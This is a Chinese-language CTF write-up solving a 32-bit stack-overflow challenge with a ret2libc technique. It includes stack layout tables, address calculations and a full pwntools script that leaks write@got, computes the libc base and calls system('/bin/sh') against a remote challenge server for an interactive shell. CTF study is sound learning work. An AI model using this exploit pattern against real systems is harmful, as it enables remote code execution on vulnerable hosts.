题目描述
libc!libc!这次没有system,你能帮菜鸡解决这个难题么?
Solution
先分析文件信息:
这是一个 ELF32 文件,没有开启金丝雀,栈不可执行,不是位置无关程序。运行程序,输入一串字符后打印Hello, World!
后退出。把它放入 IDA 分析,程序主流程为main()
→ vulnerable_fuinction()
:
在vulnerable_function()
中,先向标准输出打印Input
字符串,然后向栈上的缓冲区读取 256 个字符,这里会存在缓冲区溢出的风险:
本题中没有出现system()
函数和"/bin/sh"
字符串,但我们可以从题目提供的 libc 文件找到。
- 第一步,我们使用栈溢出将
write()
函数在 GOT 表中的真实地址暴露出来,然后减去 libc 中的 offset,就可以得到 libc 的 base address;这一步中我们把返回地址改成main()
函数; - 第二步,重新进入
main()
函数,再次栈溢出,利用system()
函数夺 Shell。
对于"/bin/sh"
字符串,可以通过strings -a -t x
命令找出它在 libc 中的 Offset:
上述两步中,栈的分布情况如下:
First Step | Second Step |
---|---|
'A' *136 |
'A' *136 |
EBP | EBP |
write@plt |
sys_addr |
main_addr |
0xdeadbeef |
1 |
bin_sh_addr |
write@got |
XXXX |
0xdeadbeef |
XXXX |
这其中还涉及到几个地址的计算,各地址计算方式如下:
Address | Calculate |
---|---|
libc_addr | write_got_addr - libc.symbols['write'] |
sys_addr | libc_addr + libc.symbols['system'] |
bin_sh_addr | libc_addr + 0x15902b |
Python 漏洞利用脚本如下:
from pwn import *
#conn = process('./level3')
conn = remote('111.200.241.244', 51091)
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')
# get function address
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
payload = b'A' * (136+4) + p32(write_plt) + \
p32(main_addr) + p32(1) + p32(write_got) + p32(0xdeadbeef)
conn.sendlineafter('Input:\n', payload)
# leak address of `write()` in GOT
write_got_addr = u32(conn.recv()[:4])
# leak address of libc
libc_addr = write_got_addr - libc.symbols['write']
# get address of `system()`
sys_addr = libc_addr + libc.symbols['system']
# get address of '/bin/sh'
bin_sh_addr = libc_addr + 0x15902b
# go second step
payload2 = b'A' * (136+4) + p32(sys_addr) + \
p32(0xdeadbeef) + p32(bin_sh_addr)
conn.sendline(payload2)
conn.interactive()
运行结果如下: